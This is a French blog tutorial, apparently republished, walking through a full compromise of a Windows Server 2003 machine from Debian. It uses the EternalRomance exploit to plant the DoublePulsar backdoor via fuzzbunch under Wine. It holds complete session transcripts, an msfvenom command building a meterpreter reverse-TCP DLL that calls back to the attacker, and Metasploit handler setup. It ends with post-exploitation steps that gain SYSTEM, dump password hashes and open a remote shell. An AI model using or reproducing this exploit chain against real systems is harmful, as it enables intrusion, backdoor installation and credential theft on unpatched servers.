DoublePulsar: Mise en pratique d’un exploit sous Windows 2003 à partir de Debian

Republication d’article

Source de l’article: DoublePulsar: Mise en pratique d’un exploit sous Windows 2003 à partir de Debian

Dans la continuité de mes “blog post” à propos de la faille “MS17-010” et du virus “WannaCry”, je vais montrer comment prendre le contrôle de serveurs Windows 2003 avec “DoublePulsar” et ceci, à partir de Debian bien sur !

La mise en place jusqu'à l’exécution de l'exploit est un peu longue et un peu complexe… mais j'ai fait de mon mieux pour ne rien oublier.

Déjà, il faudrait parler de “DoublePulsaretEternalRomance”, car l'exploit ne fonctionnera qu'avec l'utilisation des 2 là:

  • DoublePulsar” est le “malware”/“backdoor” qui va être injecté.
  • EternalRomance” est l'exploit qui va injecter “DoublePulsar”.

Mais à la fin, on va encore devoir envoyer un “shellcode” sous forme de DLL à la “backdoor” “DoublePulsar” pour établir la communication avec une console sous “metasploit”.

Oui, je sais: ça pique déjà.

Par ailleurs, la plupart des démonstrations montrent qu'il faut 3 PC:

  1. La victime sous Windows 2003
  2. Un poste sous Windows 7 qui va utiliser un outil nommé “fuzzbunch” …
  3. Un poste qui va recevoir le contrôle, en console, de la victime.

Rares sont les solutions qui parlent aussi d'utiliser “Wine” a la place de Windows 7

Et c'est ça que je vais vous montrer, car on va remplacer Windows 7 par Wine
Et là, plus besoin de 3 postes: La victime et notre Debian suffiront. 😉

Mes sources principales:

Pré-requis

Choisir la victime

Pour la détecter, il y a divers méthodes. Par exemple ici.

Bien qu'en théorie, la méthode que je vais développer ici fonctionne avec bien d'autres versions de Windows, en pratique, je n'ai testé qu'avec Windows Server 2003 R2 3790 Service Pack 2:
Donc, choisissez un serveur sous Windows 2003.

Pour Windows 7 ou 8 ou 2012, voir par ou d'autres méthodes plus simple… Et puis finalement si ça ne marche pas, alors revenez ici essayer cette méthode.

Pour Windows 10, c'est encore trop tôt 😉

metasploit

On aura besoin de “metasploit”, et pour l'installer, voyez par .

"fuzzbunch" sous Wine

Source:

Comme dit en introduction, il faut utiliser un logiciel nommé “fuzzbunch” pour contruire quelques “charges utiles” et les injecter dans la cible.

Ce logiciel est en Python et fonctionne sous Windows: c'est pour cela que je vais devoir utiliser “Wine”.

❗ L'utilisation de Wine implique que vous êtes dans un environnement fenêtrés, genre LDXE ou KDE ou Gnome ou ce que vous voulez.

Installer Wine 32 bit

# apt-get update
# apt-get install wine winetricks

Il faut que “Wine” fonctionne en 32 bit, et donc:

# dpkg --add-architecture i386
# apt-get update
# apt-get install wine32

On ne va pas polluer l'environnement Wine traditionnellement dans “~/.wine”.
On va plutôt préparer un nouvel environnement dédié à “fuzzbunch” dans “~/.wine-fuzzbunch” .

Donc, en tant qu'utilisateur lambda (moi-même):

$ WINEPREFIX="$HOME/.wine-fuzzbunch" WINEARCH=win32 wine wineboot

regedit

En suivant le tuto (voir source), il faut modifier le “PATH” dans la base de registre.

Donc, on fait:

$ export WINEPREFIX=$HOME/.wine-fuzzbunch

Et puis:

$ wine regedit.exe

On fait en sorte d'avoir :

HKEY_CURRENT_USER\Environment\PATH = c:\\windows;c:\\windows\\system;C:\\Python26;C:\\fuzzbunch-debian\\windows\\fuzzbunch

fuzzbunch

On récupere “fuzzbunch” et le clonant, via “git”, dans l'environnement Wine prévu:

$ cd $HOME/.wine-fuzzbunch/drive_c
$ git clone https://github.com/mdiazcl/fuzzbunch-debian.git

Un sous-dossier “fuzzbunch-debian” apparait.

installer Python2.6 (et pywin32)

$ export WINEPREFIX=$HOME/.wine-fuzzbunch
$ winetricks python26

Suivez les instructions sur l'écran.

Mise en pratique de l'exploit

Il y a une longue préparation …

Dans les explications qui vont suivre, il faut savoir que:

192.168.1.10 C'est la victime (Windows 2003)
192.168.0.50 C'est moi, l'attaquant sous Debian 9

fuzzbunch

On va d'abord jouer avec “fuzzbunch” sous Wine:

$ export WINEPREFIX=$HOME/.wine-fuzzbunch
$ cd $HOME/.wine-fuzzbunch/drive_c/fuzzbunch-debian/windows
$ wine cmd.exe

Et hop:

Microsoft Windows 5.1.2600 (1.8.7)

C:\fuzzbunch-debian\windows>

On démarre “fuzzbunch”:

C:\fuzzbunch-debian\windows> python fb.py

mon projeeet

❗ Sauf précision contraire, la plupart du temps il suffit de valider le choix proposé par défaut.

Et hop:

...
[+] Set FbStorage => C:\fuzzbunch-debian\windows\storage

[*] Retargetting Session

[?] Default Target IP Address [] :

Là, ca commence a nous demander qui on veut attaquer… Donc, il faut répondre:

Exemple:

[?] Default Target IP Address [] : 192.168.1.10

Ensuite, notre “IP” (car c'est nous qu'on veut atteindre en “Callback”):

[?] Default Callback IP Address [] : 192.168.0.50
❗ pas besoin d'être dans le même réseau, mais il faut que les machines se voient sans restriction (sans “firewall”)

Mettre “no” pour ça:

[?] Use Redirection [yes] : no

Vous pouvez choisir un projet existant ou en créer un nouveau:

[?] Base Log directory [C:\fuzzbunch-debian\logs] :
[*] Checking C:\fuzzbunch-debian\logs for projects
Index     Project
-----     -------
0         test1
1         test1bis
2         test2
3         Create a New Project

[?] Project [0] : 3
[?] New Project Name : test3
[?] Set target log directory to 'C:\fuzzbunch-debian\logs\test3\z192.168.1.10'? [Yes] :

[*] Initializing Global State
[+] Set TargetIp => 192.168.1.10
[+] Set CallbackIp => 192.168.0.50

[!] Redirection OFF
[+] Set LogDir => C:\fuzzbunch-debian\logs\test3\z192.168.1.10
[+] Set Project => test3

fb >

Doublepulsar: creation de la backdoor

Il faut d'abord créé la “backdoor”, et dans une autre étape, on ira l'injecter dans l'environnement de Windows.

fb > use DoublePulsar
  
[!] Entering Plugin Context :: Doublepulsar
[*] Applying Global Variables
[+] Set NetworkTimeout => 60
[+] Set TargetIp => 192.168.1.10

[*] Applying Session Parameters

[!] Enter Prompt Mode :: Doublepulsar

Module: Doublepulsar
====================

Name              Value
----              -----
NetworkTimeout    60
TargetIp          192.168.1.10
TargetPort        445
OutputFile
Protocol          SMB
Architecture      x86
Function          OutputInstall

[!] Plugin Variables are NOT Valid
[?] Prompt For Variable Settings? [Yes] :

Hé: vous devez mettre à jour au moins la variable “OutputFile”, donc répondre Yes ou taper simplement la touche “Enter”:

[?] Prompt For Variable Settings? [Yes] :

[*]  NetworkTimeout :: Timeout for blocking network calls (in seconds).  Use -1 for no timeout.

[?] NetworkTimeout [60] :

[*]  TargetIp :: Target IP Address

[?] TargetIp [192.168.1.10] :

[*]  TargetPort :: Port used by the Double Pulsar back door

[?] TargetPort [445] :

[*]  Protocol :: Protocol for the backdoor to speak

   *0) SMB     Ring 0 SMB (TCP 445) backdoor
    1) RDP     Ring 0 RDP (TCP 3389) backdoor

[?] Protocol [0] :

[*]  Function :: Operation for backdoor to perform

   *0) OutputInstall     Only output the install shellcode to a binary file on disk.
    1) Ping              Test for presence of backdoor
    2) RunDLL            Use an APC to inject a DLL into a user mode process.
    3) RunShellcode      Run raw shellcode
    4) Uninstall         Remove's backdoor from system

[?] Function [0] :

[*]  OutputFile :: Full path to the output file

[?] OutputFile [] :

Là, il faut entrer le nom où va être stocker sur disque la “backdoor” qu'on va créer… Donc, exemple:

[?] OutputFile [] : C:\fuzzbunch-debian\windows\dpulsar3.bin
[+] Set OutputFile => C:\fuzzbunch-debian\windows\dpulsar3.bin

Et on continue en laissant par défaut:

[!] Preparing to Execute Doublepulsar
[*] Redirection OFF

[+] Configure Plugin Local Tunnels
[+] Local Tunnel - local-tunnel-1
[?] Destination IP [192.168.1.10] :
[?] Destination Port [445] :
[+] (TCP) Local 192.168.1.10:445

[+] Configure Plugin Remote Tunnels


Module: Doublepulsar
====================

Name              Value
----              -----
NetworkTimeout    60
TargetIp          192.168.1.10
TargetPort        445
OutputFile        C:\fuzzbunch-debian\windows\dpulsar3.bin
Protocol          SMB
Architecture      x86
Function          OutputInstall

[?] Execute Plugin? [Yes] :

Après confirmation:

[*] Executing Plugin
[+] Selected Protocol SMB
[+] Writing Installer to disk
[*] Deleting old version of OutputFile if it exists
[*] Shellcode written to OutputFile
[+] Doublepulsar Succeeded

A partir d'une autre console, on peut effectivement voir que le fichier est là:

~/.wine-fuzzbunch/drive_c/fuzzbunch-debian/windows/dpulsar3.bin

Eternalromance: injection de "DoublePulsar"

Il faut préparer l'injection de la “backdoor” “DoublePulsar”.

Donc, toujours dans “fuzzbunch” ( “fb.py” ) , on tape:

fb Payload (Doublepulsar) > use Eternalromance
[!] Entering Plugin Context :: Eternalromance
[*] Applying Global Variables
[+] Set NetworkTimeout => 60
[+] Set TargetIp => 192.168.1.10

[*] Applying Session Parameters
[*] Running Exploit Touches

[!] Entering Plugin Context :: Smbtouch
[*] Applying Global Variables
[+] Set NetworkTimeout => 60
[+] Set TargetIp => 192.168.1.10

[*] Inheriting Input Variables

[!] Enter Prompt Mode :: Smbtouch

[*]  NetworkTimeout :: Timeout for blocking network calls (in seconds).  Use -1 for no timeout.

[?] NetworkTimeout [60] :

[*]  TargetIp :: Target IP Address

[?] TargetIp [192.168.1.10] :

[*]  TargetPort :: Port used by the SMB service

[?] TargetPort [445] :

[*]  Pipe :: Test an additional pipe to see if it is accessible (optional)

[?] Pipe [] :

[*]  Share :: Test a file share to see if it is accessible (optional), entered as hex bytes (in unicode)

[?] Share [] :

[*]  Protocol :: SMB (default port 445) or NBT (default port 139)

   *0) SMB
    1) NBT

[?] Protocol [0] :
                             
[*]  Credentials :: Type of credentials to use
     
   *0) Anonymous     Anonymous (NULL session)
    1) Guest         Guest account
    2) Blank         User account with no password set
    3) Password      User name and password
    4) NTLM          User name and NTLM hash

[?] Credentials [0] :
  

[!] Preparing to Execute Smbtouch
[*] Redirection OFF

[+] Configure Plugin Local Tunnels

[+] Configure Plugin Remote Tunnels


Module: Smbtouch
================

Name                    Value
----                    -----
NetworkTimeout          60
TargetIp                192.168.1.10
TargetPort              445
RedirectedTargetIp
RedirectedTargetPort
UsingNbt                False
Pipe
Share
Protocol                SMB
Credentials             Anonymous

[?] Execute Plugin? [Yes] :

Après confirmation:

...
[*] Writing output parameters

[+] Target is vulnerable to 2 exploits
[+] Touch completed successfully

[+] Smbtouch Succeeded

[*] Exporting Contract To Exploit
[+] Set PipeName => lsarpc
[+] Set Credentials => Anonymous
[+] Set Target => SERVER_2003_SP2


[!] Enter Prompt Mode :: Eternalromance

Module: Eternalromance
======================

Name              Value
----              -----
NetworkTimeout    60
TargetIp          192.168.1.10
TargetPort        445
PipeName          lsarpc
ShellcodeFile
ExploitMethod     Default
Credentials       Anonymous
Protocol          SMB
Target            SERVER_2003_SP2

[!] Plugin Variables are NOT Valid
[?] Prompt For Variable Settings? [Yes] :

Notez qu'il manque “ShellcodeFile”, et on va s'en occuper après confirmation:

[*]  NetworkTimeout :: Timeout for blocking network calls (in seconds).  Use -1 for no timeout.

[?] NetworkTimeout [60] :

[*]  TargetIp :: Target IP Address

[?] TargetIp [192.168.1.10] :

[*]  TargetPort :: Target TCP port

[?] TargetPort [445] :

[*]  PipeName :: The named pipe to use

[?] PipeName [lsarpc] :

[*]  ShellcodeFile :: DOPU (ensure correct architecture) ONLY! Other shellcode will likely BSOD.

[?] ShellcodeFile [] :

Donc, là, on rentre le chemin qu'on a déjà saisie pour “Doublepulsar”, exemple:

[?] ShellcodeFile [] : C:\fuzzbunch-debian\windows\dpulsar3.bin
[+] Set ShellcodeFile => C:\fuzzbunch-debian\windows\dpulsar3.bin

Et puis ça continue:

[*]  ExploitMethod :: Which exploit method to use

   *0) Default              Use the best exploit method(s) for the target OS
    1) Fish-in-a-barrel     Most reliable exploit method (XP/2k3 only)
    2) Matched-pairs        Next reliable exploit method (XP/Win7/2k8R2 only)
    3) Classic-Romance      Original LargePageGroom exploit method (All OS Versions)

[?] ExploitMethod [0] :

[*]  Credentials :: Type of credentials to use

   *0) Anonymous     Anonymous (NULL session)
    1) Guest         Guest account
    2) Blank         User account with no password set
    3) Password      User name and password
    4) NTLM          User name and NTLM hash

[?] Credentials [0] :

[*]  Protocol :: SMB (default port 445) or NBT (default port 139)

   *0) SMB
    1) NBT

[?] Protocol [0] :

[*]  Target :: Operating System, Service Pack, of target OS

    0) XP_SP0SP1_X86         Windows XP Sp0 and Sp1, 32-bit
    1) XP_SP2SP3_X86         Windows XP Sp2 and Sp3, 32-bit
    2) XP_SP1_X64            Windows XP Sp1, 64-bit
    3) XP_SP2_X64            Windows XP Sp2, 64-bit
    4) SERVER_2003_SP0       Windows Sever 2003 Sp0, 32-bit
    5) SERVER_2003_SP1       Windows Sever 2003 Sp1, 32-bit/64-bit
   *6) SERVER_2003_SP2       Windows Sever 2003 Sp2, 32-bit/64-bit
    7) VISTA_SP0             Windows Vista Sp0, 32-bit/64-bit
    8) VISTA_SP1             Windows Vista Sp1, 32-bit/64-bit
    9) VISTA_SP2             Windows Vista Sp2, 32-bit/64-bit
    10) SERVER_2008_SP0       Windows Server 2008 Sp0, 32-bit/64-bit
    11) SERVER_2008_SP1       Windows Server 2008 Sp1, 32-bit/64-bit
    12) SERVER_2008_SP2       Windows Server 2008 Sp2, 32-bit/64-bit
    13) WIN7_SP0              Windows 7 Sp0, 32-bit/64-bit
    14) WIN7_SP1              Windows 7 Sp1, 32-bit/64-bit
    15) SERVER_2008R2_SP0     Windows Server 2008 R2 Sp0, 32-bit/64-bit
    16) SERVER_2008R2_SP1     Windows Server 2008 R2 Sp1, 32-bit/64-bit

[?] Target [6] :
                       
                      
[!] Preparing to Execute Eternalromance
[*] Redirection OFF           
                                
[+] Configure Plugin Local Tunnels
[+] Local Tunnel - local-tunnel-1     
[?] Destination IP [192.168.1.10] :
[?] Destination Port [445] :
[+] (TCP) Local 192.168.1.10:445

[+] Configure Plugin Remote Tunnels


Module: Eternalromance
======================
  
Name                   Value
----                   -----
NetworkTimeout         60
TargetIp               192.168.1.10
TargetPort             445
MaxExploitAttempts     3
PipeName               lsarpc
ExploitMethodChoice    0
ShellcodeFile          C:\fuzzbunch-debian\windows\dpulsar3.bin
CredChoice             0
Username
Password
UsingNbt               False
OsMajor                5
OsMinor                2
OsServicePack          2
ExploitMethod          Default
Credentials            Anonymous
Protocol               SMB
Target                 SERVER_2003_SP2

[?] Execute Plugin? [Yes] :
Après cette confirmation: vous injectez la backdoor “doublepulsar

Go !

[?] Execute Plugin? [Yes] :                                          
[*] Executing Plugin       
[*] Running Exploit                                    
[*] Initializing Parameters                                    
        [+] Target 192.168.1.10:445    
        [+] Authcode: 0x8657f503                 
        [+] XorMask: 0x78 
        [+] Network Timeout: 60 seconds                                                      
[*] Attempting exploit method 1  
[*] Initializing Network          
        [+] Initial smb session setup completed
[*] Trying pipe lsarpc...
        [+] Success!                 
        [+] Smb pipe and rpc setup complete
[*] Filling barrel with fish... done
                             
<----------------| Entering Danger Zone |----------------->

        [*] Preparing dynamite...
                [*] Trying stick 1 (x64)...Miss
                [*] Trying stick 1 (x86)...BOOM!
        [+] Successfully Leaked Transaction!
        [+] Successfully caught Fish-in-a-barrel

<----------------| Leaving Danger Zone |----------------->

[*] Attempting to find remote SRV module
        [+] Reading from CONNECTION struct at: 0x8D23D498
        [+] Found SRV global data pointer: 0xB639EF8C
                [+] Locating function tables...
                        [+] Transaction2Dispatch Table at: 0xB639E638
[*] Installing DOUBLEPULSAR
        [+] Leaked Npp Buffer to Execute at: 0x8A6523A8
        [+] shellcodeaddress = 8a6524a8, shellcodefilesize=3655
        [+] Backdoor shellcode written
        [+] Backdoor function pointer overwritten
[*] Executing DOUBLEPULSAR
[*] DOUBLEPULSAR should now be installed. The DOPU client can be used to verify installation.
[*] Plugin completed successfully
        [+] Contract: StagedUpload
        [+] ConnectedTcp: ffffffff
        [+] XorMask: 78
        [+] TargetOsArchitecture: x86
[+] Eternalromance Succeeded

fb Exploit (Eternalromance) >

BINGO

C'est pas fini:
Maintenant que la “backdoor” ”doublepulsar” est installé, on va la réveiller pour joindre notre console…

❗ Ne fermez pas la console “fuzzbunch” , on va encore l'utiliser très bientôt…

Metasploit

Si ce n'est pas déjà fait, il faut installer “metasploit”.

Charge utile: meterpreter

En pratique, on a toujours aucun service qui va demarrer:
Donc, on va créer ce service , et ce sera “meterpreter”.

A partir d'un terminal sous Debian, on va utiliser l'outil “msfvenom”.

On va dans les dossiers dédiés a “fuzzbunch”:

$ cd ~/.wine-fuzzbunch/drive_c/fuzzbunch-debian/

Et on y créé la “charge utile” (“payload”), avec les paramètres d’écoutes, c'est à dire:

  1. Notre IP
  2. Un port libre et ouvert (pas de firewall)
$ msfvenom -p windows/meterpreter/reverse_tcp -f dll -a x86 --platform windows LHOST=192.168.0.50 LPORT=4444 > meterpreter.dll
No encoder or badchars specified, outputting raw payload
Payload size: 333 bytes
Final size of dll file: 5120 bytes

Vis à vis de l'environnement “fuzzbunch” dans Wine, la DLL est là:

C:\fuzzbunch-debian\meterpreter.dll

Bien sur par la suite, tant que votre IP ne change pas, vous n'avez pas besoin de refaire tout ça.

Console de commande

Maintenant, grâce à “metasploit” on va se mettre en attente d'une communication de la “backdoor” “doublepulsar”.

Donc:

$ msfconsole

Et puis:

msf > use exploit/multi/handler

Et puis choisir le “payload” qui va bien:

msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
❗ Ce n'est pas : “windows/x64/meterpreter/reverse_tcp” car on va causer en 32 bit

Fixer les paramètres d'écoute:

msf exploit(handler) > set LHOST 192.168.0.50
LHOST => 192.168.0.50
msf exploit(handler) > set LPORT 4444
LPORT => 4444
msf exploit(handler) >

Maintenant, on peut démarrer ce service en ecoute dans “metasploit” en tapant simplement:

msf exploit(handler) > run

Et alors le service passe en attente….

[*] Started reverse TCP handler on 192.168.0.50:4444
[*] Starting the payload handler...

Maintenant, reveiller, enfin, “doublepulsar”.

Execution de l'exploit

On a enfin tout:

  1. La “backdoor” “DoublePulsar” en place sur la cible
  2. La console en attente d'etablissement de la communication
  3. La DLL prête a être injectée

Alors injectons.

Retour dans la console “fuzzbunch” sous “wine”, que vous n'avez pas fermé (sinon, c'est pas grave).

Et là on tape (encore):

fb Exploit (Eternalromance) > use DoublePulsar

Ce qui affiche:

[!] Entering Plugin Context :: Doublepulsar
[*] Applying Global Variables
[+] Set NetworkTimeout => 60
[+] Set TargetIp => 192.168.1.10

[*] Applying Session Parameters
[-] Error: Invalid value for Function ()
[-] Skipping 'Function'

[!] Enter Prompt Mode :: Doublepulsar

Module: Doublepulsar
====================

Name              Value
----              -----
NetworkTimeout    60
TargetIp          192.168.1.10
TargetPort        445
OutputFile        C:\fuzzbunch-debian\windows\dpulsar3.bin
Protocol          SMB
Architecture      x86
Function          OutputInstall

[!] plugin variables are valid
[?] Prompt For Variable Settings? [Yes] :

On confirme qu'on veut changer les variables, en laissant tout par défaut, jusqu'à:

                                                        
[*]  NetworkTimeout :: Timeout for blocking network calls (in seconds).  Use -1 for no timeout.
                                          
[?] NetworkTimeout [60] :                             

[*]  TargetIp :: Target IP Address

[?] TargetIp [192.168.1.10] :

[*]  TargetPort :: Port used by the Double Pulsar back door

[?] TargetPort [445] :

[*]  Protocol :: Protocol for the backdoor to speak

   *0) SMB     Ring 0 SMB (TCP 445) backdoor
    1) RDP     Ring 0 RDP (TCP 3389) backdoor

[?] Protocol [0] :

[*]  Architecture :: Architecture of the target OS

   *0) x86     x86 32-bits
    1) x64     x64 64-bits

[?] Architecture [0] :

[*]  Function :: Operation for backdoor to perform

   *0) OutputInstall     Only output the install shellcode to a binary file on disk.
    1) Ping              Test for presence of backdoor
    2) RunDLL            Use an APC to inject a DLL into a user mode process.
    3) RunShellcode      Run raw shellcode
    4) Uninstall         Remove's backdoor from system

[?] Function [0] :

Là, ce qu'on doit faire, c'est “RunDLL”.

Donc:

[?] Function [0] : 2
[+] Set Function => RunDLL

[*]  DllPayload :: DLL to inject into user mode

[?] DllPayload [] :

Maintenant, il faut donner le chemin de la DLL qu'on a créé avec la commande “msfvenom”… soit:

[?] DllPayload [] : C:\fuzzbunch-debian\meterpreter.dll
[+] Set DllPayload => C:\fuzzbunch-debian\meterpreter.dll

Et laisser le reste par défaut:

[*]  DllOrdinal :: The exported ordinal number of the DLL being injected to call

[?] DllOrdinal [1] :

[*]  ProcessName :: Name of process to inject into

[?] ProcessName [lsass.exe] :

[*]  ProcessCommandLine :: Command line of process to inject into

[?] ProcessCommandLine [] :


[!] Preparing to Execute Doublepulsar
[*] Redirection OFF

[+] Configure Plugin Local Tunnels
[+] Local Tunnel - local-tunnel-1
[?] Destination IP [192.168.1.10] :
[?] Destination Port [445] :
[+] (TCP) Local 192.168.1.10:445

[+] Configure Plugin Remote Tunnels

Jusqu'à :

Module: Doublepulsar
====================

Name                  Value
----                  -----
NetworkTimeout        60
TargetIp              192.168.1.10
TargetPort            445
DllPayload            C:\fuzzbunch-debian\meterpreter.dll
DllOrdinal            1
ProcessName           lsass.exe
ProcessCommandLine
Protocol              SMB
Architecture          x86
Function              RunDLL

[?] Execute Plugin? [Yes] :

Prêt ???

Go!

[?] Execute Plugin? [Yes] :
[*] Executing Plugin
[+] Selected Protocol SMB
[.] Connecting to target...
[+] Connected to target, pinging backdoor...
        [+] Backdoor returned code: 10 - Success!
        [+] Ping returned Target architecture: x86 (32-bit) - XOR Key: 0x5106A4D5
    SMB Connection string is: Windows Server 2003 R2 3790 Service Pack 2
    Target OS is: 2003 x86
    Target SP is: 2
        [+] Backdoor installed
        [+] DLL built
        [.] Sending shellcode to inject DLL
        [+] Backdoor returned code: 10 - Success!
        [+] Backdoor returned code: 10 - Success!
        [+] Backdoor returned code: 10 - Success!
        [+] Command completed successfully
[+] Doublepulsar Succeeded

fb Payload (Doublepulsar) >

BINGO BINGO 😀

Si on regarde du côté de la console de “msfconsole”, on voit:

[*] Sending stage (956991 bytes) to 192.168.1.10
[*] Meterpreter session 1 opened (192.168.0.50:4444 -> 192.168.1.10:2967) at 2017-06-20 02:08:35 +0200

meterpreter >

(Voir la suite pour jouer un peu).

En cas d’échec, on peut recommencer la procédure. Par exemple:

fb Payload (Doublepulsar) > use DoublePulsar

[!] Entering Plugin Context :: Doublepulsar
[*] Applying Global Variables
[+] Set NetworkTimeout => 60
[+] Set TargetIp => 192.168.1.10

[*] Applying Session Parameters

[*] Function :: Deconflict

Index    Session ID          Value
-----    ----------          -----
0        Doublepulsar - 0
1        Doublepulsar - 3
2        Current Value       RunDLL

[?] Function [0] : 2

[+] Using current val for Function

[!] Enter Prompt Mode :: Doublepulsar

Module: Doublepulsar
====================

Name                  Value
----                  -----
NetworkTimeout        60
TargetIp              192.168.1.10
TargetPort            445
DllPayload            C:\fuzzbunch-debian\meterpreter.dll
DllOrdinal            1
ProcessName           lsass.exe
ProcessCommandLine
Protocol              SMB
Architecture          x86
Function              RunDLL

[!] plugin variables are valid
[?] Prompt For Variable Settings? [Yes] : No

Là c'est “No” et hop: ça marche.

meterpreter

Sources:

Enfin, on est dans le Windows vulnérable.

J'ai déjà montré comment jouer avec quelques commandes du “shell” pour prendre le contrôle de “Windows”, mais là, je vais montrer quelques commandes de base sous “meterpreter”.

D'abord, on arrive et on a ça:

[*] Sending stage (956991 bytes) to 192.168.1.10
[*] Meterpreter session 1 opened (192.168.0.50:4444 -> 192.168.1.10:2967) at 2017-06-20 02:08:35 +0200

meterpreter >

J'enchaine les commandes (en coupant les infos sensibles…)

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > getsystem
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
meterpreter > pwd
C:\WINDOWS\system32
meterpreter >
meterpreter > cd \
meterpreter >
meterpreter > ls
Listing: C:\
============

Mode              Size        Type  Last modified              Name
----              ----        ----  -------------              ----
...
40777/rwxrwxrwx   0           dir   2010-05-25 20:52:04 +0100  $WIN_NT$.~BT
40777/rwxrwxrwx   0           dir   2014-03-19 16:51:35 +0100  Config.Msi
40777/rwxrwxrwx   0           dir   2010-02-25 12:15:40 +0100  Documents and Settings
100444/r--r--r--  0           fil   2010-02-25 12:09:05 +0100  IO.SYS
100444/r--r--r--  0           fil   2010-02-25 12:09:05 +0100  MSDOS.SYS
100555/r-xr-xr-x  47772       fil   2008-02-30 13:00:00 +0100  NTDETECT.COM
40555/r-xr-xr-x   0           dir   2014-03-17 11:17:55 +0100  Program Files
40777/rwxrwxrwx   0           dir   2013-04-10 01:20:55 +0200  RECYCLER
40777/rwxrwxrwx   0           dir   2010-02-25 12:15:05 +0100  System Volume Information
40777/rwxrwxrwx   0           dir   2017-01-17 03:06:50 +0100  WINDOWS
100666/rw-rw-rw-  210         fil   2010-02-25 12:06:59 +0100  boot.ini
...

meterpreter >
meterpreter > ipconfig

Interface  1
============
Name         : MS TCP Loopback interface
Hardware MAC : 00:00:00:00:00:00
MTU          : 1520
IPv4 Address : 127.0.0.1

...
meterpreter > run post/windows/gather/hashdump

[*] Obtaining the boot key...
[*] Calculating the hboot key using SYSKEY ...
[*] Obtaining the user list and keys...
[*] Decrypting user keys...
[*] Dumping password hints...

No users with password hints on this system

[*] Dumping password hashes...


administrator:500:...:::
guest:501:...:::
...
meterpreter > shell
Process 1008 created.
Channel 1 created.
Microsoft Windows [Version 5.2.3790]
(C) Copyright 1985-2003 Microsoft Corp.

C:\>

...

C:\> exit
meterpreter >  
meterpreter > ps
...
 2042  2566  explorer.exe              x86   0        REACTEUR2\Administrator     C:\WINDOWS\Explorer.EXE
...

Etc…